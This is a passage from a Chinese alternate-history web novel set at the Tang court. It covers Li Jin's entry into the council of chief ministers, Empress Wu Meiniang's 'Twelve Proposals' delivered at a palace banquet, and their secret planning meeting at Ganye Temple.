御前议政就此结束。当李瑾随着众臣走出紫宸殿时,初夏的阳光正好,洒在皇城巍峨的殿宇之上,一片金光璀璨。许多官员向他投来复杂的目光,有羡慕,有嫉妒,有审视,也有隐晦的示好。许敬宗、李义府等人靠近道贺,语带兴奋。长孙无忌等人则面无表情,径直离去。
李瑾心中并无太多浮华喜悦,只有一片沉甸甸的责任感与更加清晰的警醒。他知道,这道“同中书门下三品”的头衔,与其说是荣耀的顶峰,不如说是更高级别、更加凶险战场的入场券。从此,他将正式置身于帝国最高决策圈,与长孙无忌、褚遂良这等顶尖的政治家同堂议事,直接参与决定这个庞大帝国走向的每一次重大抉择。他提出的每一项“实务”建议,都将面临更严苛的审视、更复杂的博弈。而他和武媚娘的同盟,也将因为双方地位的同步跃升(她为后,他为“相”),进入一个更加微妙、更需要智慧和分寸来维系的崭新阶段。
但无论如何,路已在脚下。他转身,望了一眼身后宏伟的紫宸殿,又望向不远处那象征着宰相权力核心的门下省方向。那里,政事堂的灯火,仿佛已为他点亮。
从“实学”匠臣,到“督行实务”的干吏,再到如今踏入宰相议政之门,他用了不到四年时间。速度之快,际遇之奇,足以令世人瞠目。而这背后,是时代的机遇,是皇帝的知遇,是自身超越时代的见识与努力,也是与那位深宫中奇女子命运交织、携手共进的结果。
新的篇章,已然掀开。而属于李瑾的、在帝国最高权力中枢的纵横捭阖,才刚刚开始。
第80章 新后与新贵
贞观二十四年的盛夏,随着武媚娘正式册立为后、入主立政殿,以及李瑾以“同中书门下三品”衔踏入政事堂、参决机务,长安城的政治天空,仿佛经历了一场彻底的风暴洗刷与重塑。旧有的、以关陇元老集团为核心、相对稳固的权力结构,被这两颗骤然升起的政治新星以不可阻挡之势冲破、撕裂,一个全新的、充满了更多变量、活力与不确定性的权力格局,在朝野各方的震动、观望、调整与博弈中,逐渐显露出其清晰而复杂的轮廓。
新后武媚娘,并未因登临后位而稍有懈怠或耽于享乐。立政殿的凤座,对她而言,不是终点,而是她真正施展抱负、掌控命运的起点。入主中宫次日,她并未沉溺于接受内外命妇的朝贺与皇帝的温存,而是以惊人的效率与清晰的目标感,开始了她对后宫的实质性整顿与掌控。
她首先召见了尚宫局、内侍省、内府局等后宫主要衙署的主事女官与宦官首领。没有疾言厉色,没有新官上任的三把火,只是平静地让他们呈报近三年来的用度总账、人员名册、器物清单及各宫苑基本情况。她听得仔细,偶尔提问,问题皆切中要害,如某笔非常规开支的缘由,某项陈设更换的频率与损耗是否合理,某个宫苑人员调配背后的考量等。她并未当场做出裁决,只是吩咐将一应文书副本留中,并命各司三日后呈报“改进弊窦、节省浮费、明确职司”的具体条陈。
接着,她以“熟悉宫务、体恤下人”为由,在德妃、贤妃陪同下,用数日时间,亲自走访了大部分主要妃嫔宫苑,与妃嫔们闲话家常,询问起居,赏赐些时新物事,态度温和亲切。但对各宫的人员配置、用度细节,亦在不经意间有所了解。对于仍在禁足中的萧淑妃,她特意嘱咐太医署与尚食局“务必精心照看,勿使有失”,并派人送去几卷新译的佛经与安神药材,姿态无可挑剔,却也将萧淑妃置于更严密的“保护”(实为监控)之下。
与此同时,她开始有选择地接见一些入宫请安的外命妇,尤其是那些出身并非顶级门阀、或其家族在朝中并非铁杆关陇派的勋贵、官员妻女。交谈中,她不仅关心她们的家常,也会适度问及其父兄、夫婿的任职情况,对某些官员在地方的政绩表示欣赏,对某些家族面临的困难(如子弟教育、产业经营)给予温和的建议或隐晦的承诺。她以皇后之尊,却毫无骄矜之气,言谈间显露的见识与体贴,很快赢得了一批命妇的好感与倾心,无形中为她编织着一张超越后宫、延伸至朝臣家族的关系网络。
皇帝李治对武媚娘这些举措乐见其成,甚至时常在驾临时与她探讨某些后宫管理的细节,偶尔也会将前朝一些无关紧要的奏疏或官员考核记录“无意”留在立政殿,武媚娘总能适时提出一些颇具见地的看法,虽不涉及具体人事,但于剖析利弊、洞察情势方面,常令皇帝有耳目一新之感。帝后之间,除了夫妻情谊,更多了一层政治上的默契与互补。皇帝甚至半开玩笑地称她为“朕的内宰相”,虽是说笑,却也透露了在他心中,武媚娘已不再仅仅是后宫之主,而是可以与之商议某些前朝事务的“自己人”。
新贵李瑾,在获得“同中书门下三品”头衔、踏入政事堂后的日子,则是在另一种截然不同、却又同样充满挑战的环境中展开。政事堂位于门下省,是帝国真正的决策中枢,每日在此议事的,是长孙无忌、褚遂良、于志宁、李勣等真正的宰相重臣,以及如今新加入的他。这里的每一句话,每一个决议,都可能牵动千里之外的边防、影响万千黎民的生计、决定无数官员的升沉荣辱。
首次踏入政事堂那日,气氛微妙。长孙无忌端坐主位,神色沉静,目光在李瑾身上停留片刻,微微颔首,算是打过招呼,但那份历经数朝沉淀出的威压与距离感,依然清晰可感。褚遂良面色平淡,专注于手中的文书。于志宁对李瑾态度相对温和,点头示意。李勣则依旧是那副万事不萦于心的淡然模样。
最初的几次议事,李瑾大多时候只是静听,极少主动发言。他需要快速熟悉政事堂的议事流程、各位宰相的行事风格,以及当前朝廷真正关注的焦点议题(与他之前专注的“实务”领域或有重叠,但视角和层面完全不同)。他很快发现,这里讨论的不仅仅是具体的“事”,更是“事”背后的“人”、“势”、“利”的复杂平衡。一项关于河东粮赋征收方式调整的提议,可能牵扯到当地豪强的利益、户部与地方官的博弈、乃至与边防驻军粮饷的衔接;一次对岭南某州刺史的考功评议,背后可能是朝中不同派系对南方控制权的角力。
李瑾没有急于求成,也没有因自己“实学”背景而刻意标新立异。当议题涉及农桑、工造、商贸、海防等与“督行实务”相关的领域时,他才谨慎发言,发言必基于详实数据与实地反馈,就事论事,提出具体可行的建议,如“新式农具推广宜分地域、看土质,不可一刀切”,“海船改良需配合港口建设与舵工培训”,“鼓励海贸需与市舶司强化稽查、公平定价并举”。他的建议务实、具体,且有前期试点成效支撑,往往能切中要害,即便长孙无忌等人,在具体技术层面也难以反驳,只能从“靡费”、“扰民”、“需缓行”等更宏观的角度提出质疑。而于志宁、李勣则不时会对他的一些务实提议表示认可或补充。
在涉及人事、科举、礼法、边防战略等传统领域时,李瑾则多以请教、学习的姿态出现,仔细聆听各方观点,不轻易表态。但他偶尔提出的、从“实效”、“成本”、“长远影响”角度出发的思考,也常常能给陷入“义理”或“派系”之争的讨论,带来一丝不同的清风。渐渐地,政事堂的诸位宰辅开始意识到,这位年轻的“同三品”,并非只会“奇技淫巧”,其思维之缜密、视野之开阔、处事之沉稳,远超其年龄,更难得的是身上没有一般“幸进”之臣的浮躁与钻营。
李瑾深知,自己在政事堂的立足之本,仍是“督行实务”的成效。他利用参与决策的机会,力促通过了“新式农具”在北方数道的扩大推广计划,争取到了“海船改良”项目更大的资金与资源支持,推动了“百工创新署”筛选出的几项高效纺织、灌溉技术在官营作坊的试行。同时,他开始尝试将“格物所”的一些研究成果与朝廷大政更紧密地结合,比如建议在修订历法、兴修水利、规划漕运时,更多采纳“格物所”及钦天监的实际测算数据;在讨论边备时,引入对“新式弩机”、“改良甲胄”防护效能的评估。
朝堂之上,随着“新后”与“新贵”的崛起,官员队伍也在悄然发生着分化与重组。以长孙无忌、褚遂良、韩瑗、来济为首的“元老派”(或可称“关陇守成派”),虽然核心权力未受根本动摇,但在“废王立武”之争中受挫,面对皇帝扶持的新兴力量,不得不采取守势,更注重维护既得利益与政治传统,在具体政务上,与皇帝及“实学革新派”的博弈更加频繁而微妙。
以许敬宗、李义府为代表的“拥武派”(或可称“寒门进取派”),则因拥立新后之功而地位显著提升,他们多出身中等门第或寒门,渴望打破关陇集团对高级官位的垄断,对皇帝推行的“新政”和“实学”多持支持态度,成为朝中一股不可忽视的、较为活跃的政治力量。但他们根基相对较浅,内部也非铁板一块,有些人是真心认同新政,有些人则更多是投机。
以于志宁、张行成等部分东宫旧臣、以及一些务实派官员为代表的“中间派”,则相对超脱于激烈的派系之争,更关注具体政务的得失与国家的稳定发展。他们对李瑾的“实学”和务实作风多有认可,对皇后展现出的理政能力也不排斥,是皇帝和李瑾可以争取、合作的重要对象。
而军方,在李勣“此陛下家事”的表态之后,整体保持了相对中立和服从皇权的姿态。只要皇帝的政策不严重损害军队利益或边防安全,军方通常不会直接介入朝堂的派系斗争。这无疑为皇帝和李瑾推行新政,提供了一个相对稳定的外部环境。
在这全新的政治格局中,皇帝李治居于核心,平衡各方。他既需要借助长孙无忌等老臣的经验与威望维持朝局大体稳定,又需要依靠李瑾、许敬宗等新进力量推行新政、巩固皇权、制衡元老,同时也要留意军方的态度。而武媚娘作为皇后,则在内廷为他稳定后方,笼络命妇,提供不同于朝臣的视角与建议,某种意义上成为他延伸的“耳目”与“臂膀”。李瑾则在前朝,作为“实学”与“新政”的旗帜与执行核心,在政事堂内与各方周旋,将皇帝的意志和新兴的政治理念,逐步转化为具体的政策与实效。
一种全新的、动态的、以皇权为核心、新旧力量并存博弈、务实与革新渐成风尚的权力格局,已然形成。它不再是以往那种由少数几家顶级门阀和顾命老臣相对垄断的局面,而是呈现出更多的开放性、竞争性与不确定性。虽然暗流依旧汹涌,矛盾并未消失,但一种新的平衡已然建立,并为未来更深层次的变革,预留了空间与可能。
立政殿的灯火,常常亮至深夜,那是新后在披阅文书,思虑宫务乃至天下。门下省政事堂的烛光,也时常映照着新贵与老臣们争论、妥协、最终形成决策的身影。太极宫、皇城、乃至整个长安,都在这新的格局下,缓缓调整着呼吸与脉搏。
夏夜深沉,星河璀璨。站在即将完工的、位于将作监内的“格物所”新观测台上,李瑾望着满天星斗,又望向皇城方向那两处最为明亮的灯火所在——立政殿与门下省。他知道,属于他的时代,真正开启了。前路依然有荆棘,有明枪暗箭,有莫测的君心与人心,但也有广阔的天空与值得奋斗的未来。
他与她,一在后宫,一在前朝,虽不能常相见,甚至需更加谨慎地保持距离,但那条名为“同盟”、名为“理想”、甚至掺杂了更复杂情感的纽带,却因共同历经的风雨与如今并肩而立的高度,而变得更加坚韧、更加深沉。
新后已立,新贵已升。棋局新开,落子无悔。
第81章 建言十二事
贞观二十四年,岁末。长安城的寒冬,裹挟着来自朔方的凛冽,将皇城内外涂抹成一片肃穆的灰白。然而,比这天气更令人心头沉凝的,是朝堂之上持续弥漫的、关于未来走向的观望与揣测。新后武媚娘入主立政殿已近半载,其治理后宫手腕清晰、恩威并施,不仅将六宫事务打理得井井有条,用度开支亦较往年节省近两成,更借由安抚、赏罚、调节妃嫔关系,初步确立了不容置疑的权威。皇帝李治对皇后的“贤内助”角色愈发倚重满意,时常驾临立政殿,所谈已不止于宫闱琐事,渐及吏治民生、边镇防务,皇后总能应答得体,见解常有独到之处,帝后相得,感情日笃。
与此同时,以“同中书门下三品”衔入政事堂参决机务的李瑾,经过数月的沉潜、观察与务实建策,也渐渐在宰相议事的核心圈中站稳了脚跟。他不再仅仅是“实学”与“督行实务”的代言人,其条分缕析、注重实效、兼顾长远的议事风格,开始对政事堂的决策产生实质性影响。尤其在与户部、工部、兵部协调推进新政、核查边镇军械粮饷、审议明年漕运预算等具体事务中,其作用日益凸显。长孙无忌、褚遂良等元老虽依旧保有巨大影响力,但在许多涉及实际操作的议题上,已不能忽视李瑾基于详实数据与试点效果提出的意见。
然而,无论是后宫理事的卓有成效,还是在政事堂内的稳健表现,在朝野许多传统士大夫眼中,这仍然是“内职”与“佐贰”的范畴。皇后再贤,终究是“女主内”;李瑾再能,终究是“技进而非道统”。天下士民,尤其是那些秉持“男主外、女主内”、“经纬之学在于经史”理念的官员儒生,对这位凭借非常规手段上位、又明显与“奇技”新学关联密切的新后与新贵,内心深处仍存有疑虑、轻视,甚至根深蒂固的排斥。他们需要一个更具说服力、更符合传统“治国平天下”理想范式的信号,来确认或质疑这新崛起的权力核心,是否真能引领大唐走向更辉煌的盛世,而非“牝鸡司晨”或“匠气治国”的歧途。
这个信号,在腊月廿三,小年,皇帝于两仪殿赐宴群臣、兼议来年大政方针的御前会议上,以一种出乎所有人预料、却又仿佛水到渠成的方式,轰然降临。
是日,两仪殿内暖意融融,炭火炽旺,御宴丰盛。皇帝李治心情颇佳,与重臣们共饮数杯后,谈及贞观以来治国得失,以及来年施政重点。诸臣各抒己见,或言继续劝课农桑,或言整顿吏治,或言防备吐蕃,或言疏通漕运,皆是老生常谈,了无新意。殿中气氛虽和乐,却略显沉闷。
就在议论渐息之时,一直安静坐于皇帝侧后方凤座(今日赐宴,皇后特许在座)的武媚娘,忽然离席起身,行至御阶之前,向皇帝郑重一礼,声音清越平静,却清晰地传遍了殿中每一个角落:
“陛下,今日赐宴,君臣共议国是,臣妾本不当僭越。然, 蒙 陛 下 不 弃, 使 掌 中 宫, 日 聆 圣 训, 偶 观 章 奏, 于 国 家 治 乱 之 机, 生 民 休 戚 之 本, 私 心 亦 常 有 所 感 触, 积 为 愚 见 十 二 条。 斗 胆 在 此 进 呈 陛 下 与 诸 公, 虽 是 妇 人 浅 见, 然 或 有 一 二 可 供 拾 遗 补 阙, 伏 乞 圣 裁。**”
此言一出,满殿皆惊!皇后竟然要在这种场合,当着皇帝和满朝重臣的面,正式提出自己的治国方略,而且还是“十二条”之多!这已远远超出了“偶观章奏”、“有所感触”的范畴,分明是经过长期观察、深思熟虑、系统整理后的政见汇编!自古后宫不得干政,虽偶有贤后建言,也多是通过私下向皇帝进言,何曾如此正式、公开地在御前会议上,以如此庄重的形式提出?
刹那间,殿中所有人的目光,都聚焦在了那位身着皇后常服、却身姿挺拔、神色从容的女子身上。惊愕、好奇、审视、不屑、警惕……种种情绪,在无数道目光中交织闪烁。长孙无忌、褚遂良等人眉头紧锁,面沉如水。于志宁、李勣等人则露出讶异与探究之色。许敬宗、李义府等“拥武派”官员,则在最初的错愕后,迅速转为期待与振奋。李瑾坐于文官班中,神色平静,仿佛早有预料,只是目光深处,掠过一丝微不可查的赞许与了然。
皇帝李治也明显愣了一下,但随即眼中闪过一丝光亮,他深深看了武媚娘一眼,缓缓点头:“皇后既有良策,但说无妨。朕与诸卿,洗耳恭听。”
“谢陛下。” 武媚娘再次一礼,然后挺直脊背,目光平静地扫过殿中众臣,不疾不徐,声音清晰而富有感染力,开始逐条陈述她的“建言十二事”:
“ 其一, 劝 农 桑, 薄 赋 徭。 国 以 民 为 本, 民 以 食 为 天。 当 今 天 下 承 平, 然 水 旱 不 时, 边 镇 未 靖, 民 力 堪 忧。 请 陛 下 明 诏 天 下, 州 县 长 吏, 必 以 劝 课 农 桑 为 首 务。 推 广 新 式 农 具( 此 为 将 作 监 所 献), 教 民 溉 溉 之 法。 除 正 赋 外, 一 切 杂 徭 及 非 时 科 派, 悉 予 蠲 免 或 严 格 限 制。 使 民 有 余 力 耕 织, 仓 有 积 粟, 则 国 本 自 固。”
第一条,直指国本,强调农业与减轻民负,并巧妙提及“新式农具”(李瑾之功),将传统“劝农桑”与新政“实学”结合,既符合儒家治国理念,又隐含革新之意。
“ 其二, 给 复 三 辅 地。 京 兆、 河 南、 河 东 等 地, 为 王 业 根 本, 屡 经 征 发, 民 困 尤 甚。 请 对 此 等 地 区 之 编 户, 特 赐 复 除( 免 除 赋 役) 一 至 三 年, 以 苏 民 困, 蓄 养 根 本。”
针对帝国核心区域的特惠政策,显示其对不同地区差异的考量。
“ 其三, 息 兵, 以 道 德 化 天 下。 兵 者, 凶 器, 圣 人 不 得 已 而 用 之。 今 四 夷 渐 服, 当 以 文 德 怀 徕, 非 必 赖 武 功。 除 必 要 边 防, 不 可 轻 启 边 衅, 劳 师 远 伐, 徒 耗 国 力, 伤 及 无 辜。 宜 明 赏 罚, 信 必 诺, 则 远 人 自 服。**”
提出“息兵”、“以德化”的外交战略,符合太宗后期“偃武修文”的倾向,也暗合当前国力与皇帝性情。
“ 其四, 禁 浮 巧, 省 功 费, 力 役。 宫 中、 官 府 一 应 器 用、 营 造, 但 求 坚 固 实 用, 不 得 过 求 奢 靡 奇 巧, 徒 耗 民 脂 民 膏。 诸 色 徭 役, 非 关 军 国 急 务 及 水 利 要 工, 一 律 停 罢 或 减 省。**”
呼应第一条的“薄赋徭”,具体到宫廷用度与工程,显示其从自身(后宫)做起的决心,也符合“节俭”美德。
“ 其五, 广 言 路, 杜 谗 言。 兼 听 则 明, 偏 信 则 暗。 请 陛 下 开 不 讳 之 途, 奖 直 言 极 谏 之 臣, 无 问 出 身 品 秩, 但 有 益 于 国 是, 皆 当 嘉 纳。 同 时, 严 禁 官 员 交 通 内 外, 构 陷 忠 良, 散 布 流 言, 淆 乱 朝 纲, 一 经 查 实, 严 惩 不 贷。”
此条极具政治智慧与针对性。既鼓励进言,争取中下层官员与士心,又明确打击“谗言”(暗指此前流言及朝中倾轧),树立公正形象。
“ 其六, 父 在 为 母 服 齐 衰 三 年。 礼 缘 人 情。 子 为 母 服, 古 制 有 亏。 请 依 父 丧 之 例, 统 一 为 三 年, 以 彰 孝 道, 厚 人 伦。”
从礼法细节入手,提高母亲在家庭中的地位,看似微小,却触及社会伦理根本,能赢得天下为人母者(尤其是命妇、士人母)的广泛好感,政治象征意义巨大。
“ 其七, 京 官 八 品 以 上, 益 禀 入。 京 官 俸 薄, 不 足 养 廉, 易 生 贪 墨。 请 酌 情 增 加 其 俸 禄 及 职 田 收 入, 使 其 安 心 职 守, 不 为 衣 食 所 忧。**”
提高中低级京官待遇,争取官僚体系中下层支持,是巩固统治基础的有效手段。
“ 其八, 百 官 任 事 久, 其 材 位 下 者, 得 进 陟。 打 破 循 资 排 辈, 对 那 些 长 期 在 职、 确 有 才 干 而 地 位 低 下 者, 应 予 以 考 察 拔 擢, 不 使 英 才 埋 没。”
与第七条相连,进一步向非门阀出身的实干官员示好,拓宽人才晋升渠道,瓦解关陇集团对高位的垄断。
“ 其九, 蠲 免 长 安 及 各 州 府 在 官 场 坊、 店 铺 之 除 陌 钱( 交 易 税) 及 各 种 额 外 苛 捐。 促 工 商, 通 有 无, 使 市 肆 殷 繁, 国 用 自 足。”
重视工商业,减轻商税,促进流通,增加国库收入,理念先进,与李瑾“开拓海贸”等思想暗合。
“ 其十, 禁 绝 淫 巧 贡 献, 以 节 民 力。 地 方 官 员 为 求 宠 幸, 常 贡 珍 奇 淫 巧 之 物, 劳 民 伤 财。 请 明 令 禁 绝, 只 许 贡 方 物 常 产。”
延续节俭主张,并剑指地方官逢迎之风。
“ 其十一, 大 开 学 馆, 增 博 士 员, 广 召 天 下 文 儒。 不 仅 国 子 监, 州 县 亦 当 兴 学, 敦 崇 儒 术, 以 育 人 才, 厚 风 俗。**”
重视文教,争取士林支持,符合“文治”理念。
“ 其十二, 为 将 帅 者, 不 得 专 杀, 及 役 使 部 曲、 奴 客 为 私 人。 明 军 纪, 恤 士 卒, 则 军 心 归 附, 战 无 不 克。”
最后一条涉及军权,强调皇帝对军队的控制(不得专杀),并体恤士卒,既能争取中下层将士好感,也隐晦地触及了藩镇、勋贵私兵问题。
武媚娘一条条道来,声音平稳,逻辑清晰,引经据典恰到好处,既有传统治国理念的根基(劝农、节俭、文教、纳谏),又有针对时弊的锐利改革(增俸、擢才、宽商、改礼),更有深远的政治布局(争取中层官员、士人、母亲、商人、士卒等广泛支持)。十二件事,涵盖了经济、政治、军事、文化、社会伦理各个方面,构成了一个相对完整、务实的施政纲领。
殿中一片寂静,只有她清越的声音回荡。所有人都被这系统、深入、且明显经过深思熟虑的“十二条”震撼了。这绝非一时兴起的“妇人之见”,而是一个成熟政治家胸怀天下、洞察时弊的产物!许多原本对新后抱有轻视或疑虑的官员,此刻也不得不收起轻视之心,仔细咀嚼其中深意。长孙无忌、褚遂良等人脸色变幻,他们从中敏锐地感受到了挑战——这十二条一旦推行,将极大地巩固皇权,争取广泛支持,并削弱门阀世家、守旧势力对朝政的掌控。
皇帝李治听完,眼中异彩连连,抚掌赞道:“妙!皇后所言 十 二 事, 句 句 切 中 时 弊, 深 得 治 国 安 民 之 要! 有 此 贤 后, 实 乃 朕 之 福, 大 唐 之 幸!** 诸卿以为如何?”
殿中短暂的沉默后,许敬宗第一个出列,高声赞道:“皇后殿下 深 谋 远 虑, 心 系 苍 生, 所 言 十 二 事, 上 合 天 心, 下 顺 民 意, 实 为 经 国 之 良 策! 臣 为 陛 下, 为 天 下 贺!**”
李义府等人纷纷附和。于志宁捻须沉吟,缓缓道:“皇后所陈,多切时务,尤其劝农、纳谏、增俸、兴学诸条,实为固本培元之策,老臣附议。” 连李勣也微微颔首:“息兵、明军纪,于边防亦是有益。”
长孙无忌与褚遂良交换了一个眼神,知道此时若全盘反对,既显狭隘,也难挡大势。长孙无忌终于开口,语气沉稳:“皇后心念国事,其志可嘉。所陈诸条,如劝农桑、禁浮费、广言路、兴学校等,确为善政,当徐徐图之。然其中如改服制、增官俸、蠲商税等,牵涉礼法、国用甚广,需 详 加 斟 酌, 妥 善 措 置, 不 可 骤 行。” 他肯定了部分,对触及核心利益或改变较大的条款,则以“需斟酌”、“不可骤行”为缓兵之计。
“太尉所言甚是。” 皇帝李治从善如流,笑道,“皇后十二事,乃 纲 领 大 要。 具体施行,自当由 政 事 堂 会 同 有 司, 逐 条 议 定 细 则, 稳 步 推 进。 着 即 将 皇 后 所 陈 ‘ 建 言 十 二 事’, 明 发 中 外, 使 百 官 共 议, 择 其 善 者 而 行 之!”
“陛下圣明!” 殿中响起一片应和之声,无论真心与否。
“建言十二事”,如同一声清越的雏凤初鸣,正式宣告了武媚娘这位新后,不再满足于统领六宫,她将以皇后之尊,凭借其卓越的政治智慧与深远的战略眼光,正式、公开地涉足帝国最高决策领域,发出属于自己的声音,并开始尝试以她的方式,深刻影响这个庞大帝国的走向。朝野上下,无不为之震动侧目。一个新的时代,已在这寒冬的宫廷中,悄然拉开了它更加波澜壮阔的序幕。
第82章 瑾于幕后书
“建言十二事”在两仪殿御前会议上的当众提出,其引发的震撼与余波,在腊月廿三之后的日子里,不仅没有随着年关将近而消散,反而如同投入平静湖面的巨石激起的涟漪,一圈圈向外扩散,在长安的朝堂、官署、坊间乃至更遥远的州县,持续发酵、热议,成为这个冬天最炙手可热、也最富争议的政治话题。皇后武媚娘的名字,与她所提出的那十二条系统、务实且雄心勃勃的施政纲领紧密相连,以一种前所未有的强势姿态,烙印在了帝国政治舞台的中央,再也无人能够忽视。
立政殿内,灯火常常亮至深夜。案头堆积的不仅是后宫账册,更有通过各种渠道(主要是德妃、贤妃处,亦有皇帝“无意”留置)送来的、关于“建言十二事”在朝野各方反响的奏报摘要、官员评论、士林清议乃至市井流言。武媚娘披阅这些文字时,神色沉静,目光锐利,时而提笔在纸笺上记下要点,或批注数语。她知道,抛出纲领仅是第一步,如何将这份纲领转化为具体的政策、赢得更广泛的支持、并逐步推行落实,才是真正的考验。而这其中,许多条款的精妙之处、潜在考量与实施难点,她还需要与那位最关键的、隐藏在幕后的策划者进行更深入的探讨与谋划。
腊月廿五,雪后初晴。武媚娘以“岁末将至,感念先帝,欲往感业寺祈福还愿”为由,向皇帝请旨出宫。皇帝李治对皇后这份“不忘本”、“虔孝”之心颇为赞许,特准其半日,着内侍省妥善安排,并派金吾卫沿途护卫。这看似寻常的皇家祈福之举,在“建言十二事”刚刚震动朝野的微妙时刻,不免又增添了几分引人遐想的色彩。
感业寺依旧清幽肃穆,雪覆殿宇,更显空灵。慧明师太早已得信,率众尼于山门外恭迎。三年多前,武媚娘由此寺被接入宫,如今重返,已是母仪天下的皇后,身份天壤之别,然故地重游,心中难免万千感慨。她并未在正殿多做停留,只按制上了香,捐了香油,便以“与师太叙旧,请教佛法”为由,摒退左右,只带了秋月一人,随慧明师太来到了后院那间她曾独居三年的僻静禅房。
禅房依旧简陋,却收拾得一尘不染,炭盆烧得正旺,驱散了屋内的寒气。窗明几净,桌上甚至还摆着一盆水仙,嫩黄的花蕊在冬日的阳光下显得格外生机盎然,显然是精心准备过的。
“有劳师太费心。” 武媚娘对慧明师太微微颔首。这位老尼是她在感业寺最艰难时期少数可算“自己人”的存在,如今身份虽变,但这份香火情与掌控依旧有用。
“皇后殿下折煞老尼了。此乃贫尼本分。” 慧明师太恭敬道,眼中满是敬畏与一丝不易察觉的激动。她能感觉到,皇后的重临,或许也将为这清冷古寺带来不一样的机缘。“殿下且在此稍坐,贫尼去备些清茶素点。”
“不必忙了,师太自去前殿照应即可。本宫想在此静思片刻,无唤莫入。” 武媚娘吩咐道。
“是。” 慧明师太会意,悄然退下,并细心地将院门掩上。
禅房内只剩下武媚娘与秋月。主仆二人静坐了片刻,只闻炭火哔剥之声。约莫过了两刻钟,后院侧门处传来极轻微的、有节奏的叩门声,三长两短。
秋月迅速起身,走到门边,低声问:“何人?”
门外传来一个刻意压低的、略带沙哑的声音:“感业寺旧友,感念当年布施之恩,特来还愿。”
秋月看向武媚娘,见皇后微微点头,这才轻轻打开侧门。一个头戴风帽、身着寻常士子青袍、面容做了些许修饰(粘了短须,肤色涂暗)的身影闪身而入,正是李瑾。秋月迅速关门,守在内室门边。
李瑾摘下风帽,露出真容,向武媚娘躬身一礼:“臣李瑾,见过皇后殿下。” 虽在宫外秘会,礼不可废。
“李相不必多礼,此处没有外人。” 武媚娘抬手虚扶,语气平和,指了指对面的蒲团,“坐。”
“谢殿下。” 李瑾依言坐下,目光快速扫过这间熟悉的禅房,最后落在武媚娘沉静的面容上。数月不见,她身上那股母仪天下的雍容气度愈发沉淀,而眼眸深处的锐利与智慧,也愈发内敛而摄人。“殿下冒险出宫,可是为了‘十二事’后续?”
“不错。” 武媚娘开门见山,“前日殿上,赖你所筹之十二事,震动朝野,陛下亦称善。然, 言 之 非 艰, 行 之 惟 艰。 今 日 请 李 相 来, 正 是 要 与 你 深 议, 此 十 二 事, 如 何 能 真 正 落 地, 化 为 国 之 实 利, 而 非 仅 为 一 纸 空 文, 或 授 人 以 攻 讦 之 柄。”
她已迅速进入状态,将李瑾视为可以商议核心机密、共谋大计的政治盟友,而非简单的臣子。
李瑾对此毫不意外,这正是他们同盟关系的核心。他沉吟片刻,缓缓道:“殿下所虑极是。‘十二事’乃 纲 领, 如 同 树 之 主 干。 若 欲 其 枝 繁 叶 茂, 开 花 结 果, 需 有 根 系 深 扎( 基 层 支 持 与 理 解), 有 枝 杈 延 伸( 具 体 政 策 与 部 署), 更 需 有 园 丁 悉 心 照 料, 除 虫 剪 枝( 清 除 障 碍, 调 整 偏 差)。”
他以树木为喻,形象地阐述了纲领、支持、政策、执行、调整的关系。
“愿闻其详。” 武媚娘目光专注。
“首先, 根 系 之 要, 在 于 ‘ 人 心’ 与 ‘ 人 利’。” 李瑾条分缕析,“殿下所提‘劝农桑薄徭役’、‘给复三辅’、‘益禀入’、‘得进陟’、‘蠲免商税’、‘父在为母服齐衰三年’诸条, 所 争 取 者, 无 非 四 类 人: 天 下 农 夫 工 匠 商 贾( 民 心 与 税 基)、 中 下 级 官 吏 及 寒 门 士 子( 官 心 与 才 源)、 天 下 为 人 母 者 及 其 家 族( 家 庭 伦 理 支 持)、 军 中 普 通 士 卒( 军 心)。 此 四 者, 构 成 朝 廷 统 治 之 基 石, 亦 是 长 孙 无 忌 等 人 所 代 表 之 顶 层 门 阀 势 力 的 相 对 薄 弱 环 节。 殿 下 以 皇 后 之 尊, 关 心 其 疾 苦, 提 出 改 善 之 策, 正 是 在 他 们 心 中 播 下 对 殿 下、 对 陛 下 感 恩 拥 戴 的 种 子。 此 为 ‘ 固 本’。”
武媚娘缓缓点头:“本宫亦有此意。然,如何让这‘种子’真正为天下所知、所信?仅靠一纸诏书,或朝堂议论,恐力有未逮。”
“殿下明鉴。故需 枝 杈 延 伸—— 即 具 体 的、 可 操 作 的 政 策 与 宣 导。**” 李瑾继续道,“譬如‘劝农桑’,不能空言。当与‘督行实务’已见成效的‘新式农具’推广结合,由司农寺、将作监、地方州县联动,选点示范,让农人亲眼见到增产省力之效。‘薄徭役’,则需吏部、户部明确哪些是‘非时科派’、‘杂徭’,划定界限,张榜公布,使民知晓,使吏不敢滥派。‘广言路’,需在御史台、门下省设专门渠道处理‘直言’,并定期公布一些不涉机密、但处理得当的‘纳谏’案例,以彰朝廷诚意。‘父在为母服齐衰三年’,此条最为犀利,触及礼法根本,阻力必大。可先由礼部、太常寺、弘文馆等清议机构进行学术讨论,引经据典,制造舆论,待士林渐有共识,再行推动。至于‘益禀入’、‘得进陟’,则需吏部、户部详细核算,制定分级、分步增俸方案与明确的考核擢升标准……”
他逐条分析,将宏观纲领拆解为具体的部门职责、操作步骤、可能障碍与应对思路,显示了对朝政运行机制的深刻理解与周详谋划。武媚娘听得极为专注,不时插话询问细节,或提出自己的补充想法,两人就每一条的推行策略、轻重缓急、可能遭遇的反对及化解之道,进行了深入而高效的探讨。
“李相思虑之周密,远超本宫所料。” 武媚娘听完,眼中异彩连连,叹道,“然,正如你所言, 园 丁 之 责, 除 虫 剪 枝, 同 样 重 要。 长 孙 无 忌 等 人, 绝 不 会 坐 视 此 十 二 事 顺 利 推 行, 尤 其 是 触 及 其 根 本 利 益 之 处。 他 们 会 在 政 事 堂 讨 论 细 则 时 设 置 重 重 障 碍, 在 具 体 执 行 中 阳 奉 阴 违, 甚 至 … 再 次 散 布 流 言, 攻 讦 本 宫 ‘ 干 政’、 ‘ 耗 费 国 用’。**”
“殿下所虑极是。” 李瑾神色凝重,“此乃必然。故我们需 内 外 结 合, 分 化 瓦 解, 逐 步 推 进。 在 内, 殿 下 可 借 陛 下 之 威, 对 长 孙 等 人 表 示 尊 重, 甚 至 可 将 某 些 不 那 么 核 心、 但 又 能 体 现 ‘ 善 纳 忠 言’ 的 条 款 细 则 制 定, 交 由 他 们 主 导 或 参 与, 满 足 其 部 分 权 力 感, 分 化 其 注 意 力。 对 于 核 心 条 款, 则 需 在 政 事 堂 内, 联 络 于 志 宁 等 务 实 派, 争 取 李 司 空 的 理 解 或 中 立, 再 结 合 许 敬 宗、 李 义 府 等 人 的 舆 论 造 势, 形 成 有 利 于 推 行 的 氛 围。**”
